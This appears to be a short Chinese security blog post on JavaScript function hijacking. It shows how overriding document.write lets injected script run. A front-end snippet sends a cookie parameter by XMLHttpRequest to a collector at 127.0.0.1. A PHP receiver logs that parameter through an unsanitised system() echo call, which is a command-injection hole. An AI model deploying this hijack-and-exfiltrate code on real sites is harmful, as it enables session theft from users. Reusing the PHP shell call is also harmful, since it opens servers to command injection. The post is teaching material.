JavaScript函数劫持

admin 2023年2月24日11:03:11评论58 views字数 1092阅读3分38秒阅读模式

JavaScript函数劫持

前言

最近在代码审计的过程中,发现其实前端的一些函数接口也是可以进行利用,奈何我对前端的知识了解的很少,于是这几天把<<web前端安全>>给看了一遍,这里就挑其中我觉得很好玩的一点来讲。

原理

其中的原理也非常简单,javascript支持对原生函数的重写,那么我们可以通过重写一些比较常用的函数,比如document.write,alert,document.writeln等函数,在里面执行一些功能。

利用

比如下面这个例子。

<script>
    var _write=document.write.bind(document);
    document.write=function(x){
        alert(1);//我们执行的函数
        _write(x);

    }
</script>

JavaScript函数劫持我们会发现,我们这里执行的document.write函数被我们成功进行重写,这里的_write则被赋予了原来的write函数,然后去执行是为了让用户认为这个函数没有问题。那么既然能执行我们想要的代码,那有什么利用呢,我们可以通过javascript去发起请求,请求带着用户的cookie。如下代码 前端

<script type="text/javascript" language="javascript">
    var _write=document.write.bind(document);
    document.write=function(x){
        var xhr = new XMLHttpRequest();
        method = "GET";
        url = "http://127.0.0.1/index.php?cookie=flag";
        alert(1);
        xhr.open(method,url,true);
        xhr.send();
    }

</script>

后端

<?php 
    header("Access-Control-Allow-Origin: *");
    $c=$_GET['cookie'];
    system("echo {$c}>>ac.txt");
?>
JavaScript函数劫持

JavaScript函数劫持成功写入

后记

之前一直愚钝的觉得,前端的安全其实并不重要,但是在深入研究后才发现,如果前端安全防护没有做好,也是能造成很严重的安全事故。比如信息泄露,钓鱼等。所以学习安全web安全还是得前后端兼顾。


原文始发于微信公众号(珠天PearlSky):JavaScript函数劫持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月24日11:03:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaScript函数劫持http://cn-sec.com/archives/1266457.html

发表评论

匿名网友 填写信息